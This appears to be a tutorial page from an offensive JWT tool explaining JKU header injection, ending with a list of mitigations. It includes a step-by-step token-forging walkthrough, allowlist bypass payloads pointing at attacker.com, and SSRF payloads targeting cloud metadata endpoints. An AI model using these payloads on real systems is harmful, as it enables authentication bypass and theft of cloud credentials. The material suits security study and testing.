JKU Injection

Point jku at an attacker-controlled JWKS endpoint. The server fetches and trusts it for verification.

The JWK Set URL

RFC 7515 §4.1.2 defines the jku (JWK Set URL) header parameter as a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to sign the JWT. The server fetches this URL to retrieve the public key for verification - a server-side request triggered by a value in the attacker-controlled token header.

The attack is conceptually simple: point jku at an attacker-controlled endpoint that returns a JWKS containing the attacker's public key. The server fetches the JWKS, finds the attacker's key, and uses it to verify the forged token - which was signed by the corresponding private key. Verification succeeds.

The JWKS format

jwks.json - attacker's JWKS endpoint
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "kid": "attacker-2024",
      "n": "sdfG7kPqoK8zRx4s...",   // attacker's public modulus (base64url, no padding)
      "e": "AQAB"                     // 65537 in base64url
    }
  ]
}

JWT Arsenal generates this file automatically after keypair generation. Host it at any publicly accessible HTTPS URL, then set jkuto that URL in the forged token's header.

Full attack walkthrough

Step-by-step attack
# Step 1: Generate an RSA-2048 keypair (JWT Arsenal or openssl)
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub

# Step 2: Build the JWKS file (use JWT Arsenal's JKU page - downloads it)
# Or convert manually: n and e are the base64url-encoded modulus and exponent

# Step 3: Host the JWKS
python3 -m http.server 8080 &
# Expose with ngrok for a public URL:
ngrok http 8080
# → https://abc123.ngrok-free.app

# Step 4: Forge the JWT
# Header: {"alg":"RS256","jku":"https://abc123.ngrok-free.app/jwks.json","kid":"attacker-2024"}
# Payload: {"sub":"admin","role":"superuser","exp":9999999999}
# Sign with attacker.key

# Step 5: Send the forged token - server fetches your JWKS, verifies your signature → bypass

Domain bypass techniques

Many implementations attempt to restrict valid jku domains. A common but ineffective pattern is checking whether the URL starts withor contains a trusted domain string. Attackers have a catalogue of bypasses:

1. Open redirect

Trusted domain with open redirect
# Server checks: jku.startsWith("https://trusted.example.com")
# Target has an open redirect at /redirect?url=...

jku = "https://trusted.example.com/redirect?url=https://attacker.com/jwks.json"
# → startsWith check passes
# → server follows redirect to attacker.com
# → fetches attacker JWKS

2. URL @ confusion

Credential confusion (RFC 3986)
# RFC 3986 allows credentials before @ in a URL:
# https://user:password@host/path
# Some parsers read "trusted.com" as the username, "attacker.com" as the host

jku = "https://trusted.example.com@attacker.com/jwks.json"
# → string contains "trusted.example.com" → allowlist check passes
# → browser/http client resolves host as "attacker.com"

3. URL fragment / query tricks

Fragment and query confusion
# Fragment (#) is ignored by the server but may fool the string check:
jku = "https://attacker.com/jwks.json#trusted.example.com"

# Query parameter confusion:
jku = "https://attacker.com/jwks.json?host=trusted.example.com"

4. Subdomain takeover

If the server validates that the jku host ends with .trusted.example.com, a taken-over subdomain (expired-cname.trusted.example.com) passes validation. Subdomain takeovers on cloud providers (Azure, AWS, GitHub Pages) are regularly discovered via tools like subjack and nuclei.

5. SSRF pivot

The server-side HTTP request to fetch the JWKS can be redirected to internal network resources:

SSRF via jku
# AWS IMDS (IMDSv1 - no session token required)
jku = "http://169.254.169.254/latest/meta-data/"

# GCP metadata server
jku = "http://metadata.google.internal/computeMetadata/v1/"

# Internal Kubernetes API server
jku = "https://kubernetes.default.svc/api/v1/"

# Internal Redis (non-HTTP response → parse error, but confirms SSRF)
jku = "http://internal-redis:6379/"
Server-side request requirements
This attack requires the vulnerable server to make outbound HTTP requests. Environments with strict egress filtering (no internet from the server) are not directly vulnerable to the basic variant - but SSRF to internal hosts may still work. AWS Lambda and similar serverless environments often have unrestricted egress.

Hosting options for the JWKS

  • ngrok / Cloudflare Tunnel - expose localhost in seconds; HTTPS included
  • GitHub Gist (raw) - static HTTPS hosting, no server required; click "Raw" for a direct URL without redirects
  • Pastebin raw - similar to Gist; check that the raw URL doesn't use JS-rendered content
  • requestbin / webhook.site - logs the incoming request, useful to confirm SSRF/fetch happens
  • Burp Collaborator - confirms server-side DNS/HTTP requests for out-of-band validation
Bug bounty cases
  • Exploited in multiple OAuth 2.0 and OIDC providers where the JWS library fetched jku without domain allowlist enforcement
  • Open redirect chains have been used to bypass domain restrictions in production identity providers
  • Combined with SSRF to pivot to AWS IMDS and retrieve temporary credentials - chained to full AWS account compromise
  • GitHub Security Lab and PortSwigger researchers have demonstrated practical exploitation against real identity providers

Mitigations

  • Maintain a server-side allowlist of trusted JWKS URLs - pre-configured, not derived from the token
  • Perform exact URL matching, not prefix/contains matching
  • Disable following of HTTP redirects when fetching JWKS
  • Reject tokens containing jku or x5u headers unless explicitly required
  • If jku is required, pin the expected URL in configuration and reject any other value
  • Cache JWKS responses server-side with appropriate TTL - prevents real-time SSRF probing
JWK InjectionPublic Key Recovery
GitHub
JWT Arsenal_
Loading cryptographic engineOK
Importing exploit modulesOK
Verifying secure contextOK
All systems operational
100% CLIENT-SIDE · NO DATA LEAVES YOUR BROWSER